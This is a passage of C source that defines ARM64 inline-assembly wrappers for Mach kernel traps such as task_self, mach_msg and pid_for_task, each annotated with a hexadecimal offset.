mach_port_t e2_trap_mach_reply_port(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-24);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x6044: Mach trap -26 — thread_self_trap ────────────────────── */
mach_port_t e2_trap_thread_self(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-26);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x6050: Mach trap -27 — task_self_trap ──────────────────────── */
mach_port_t e2_trap_task_self(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-27);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x605c: Mach trap -28 — host_self_trap ──────────────────────── */
mach_port_t e2_trap_host_self(void)
{
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-28);
register uint64_t x0 __asm__("x0");
__asm__ volatile("svc #0x80" : "=r"(x0) : "r"(x16) : "memory");
return (mach_port_t)x0;
}
/* ── 0x6068: Mach trap -18 — _kernelrpc_mach_port_deallocate_trap ── */
kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x1 __asm__("x1") = port;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-18);
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x16) : "memory");
return (kern_return_t)x0;
}
/* ── 0x6074: Mach trap -31 — mach_msg_trap ───────────────────────── */
kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size,
uint32_t rcv_size, mach_port_t rcv_name,
uint32_t timeout, mach_port_t notify)
{
register uint64_t x0 __asm__("x0") = (uint64_t)msg;
register uint64_t x1 __asm__("x1") = option;
register uint64_t x2 __asm__("x2") = send_size;
register uint64_t x3 __asm__("x3") = rcv_size;
register uint64_t x4 __asm__("x4") = rcv_name;
register uint64_t x5 __asm__("x5") = timeout;
register uint64_t x6 __asm__("x6") = notify;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-31);
__asm__ volatile("svc #0x80"
: "+r"(x0)
: "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5), "r"(x6), "r"(x16)
: "memory");
return (kern_return_t)x0;
}
/* ── 0x6080: Mach trap -47 — pid_for_task ────────────────────────── */
int e2_trap_pid_for_task(mach_port_t task)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-47);
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x16) : "memory");
return (int)x0;
}
/* ── 0x608c: Mach trap -12 — _kernelrpc_mach_vm_deallocate_trap ──── */
kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x1 __asm__("x1") = addr;
register uint64_t x2 __asm__("x2") = size;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-12);
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x16) : "memory");
return (kern_return_t)x0;
}
/* ── 0x6098: Mach trap -19 — _kernelrpc_mach_port_mod_refs_trap ──── */
kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port,
uint32_t right, int32_t delta)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x1 __asm__("x1") = port;
register uint64_t x2 __asm__("x2") = right;
register uint64_t x3 __asm__("x3") = (uint64_t)(int64_t)delta;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-19);
__asm__ volatile("svc #0x80"
: "+r"(x0)
: "r"(x1), "r"(x2), "r"(x3), "r"(x16)
: "memory");
return (kern_return_t)x0;
}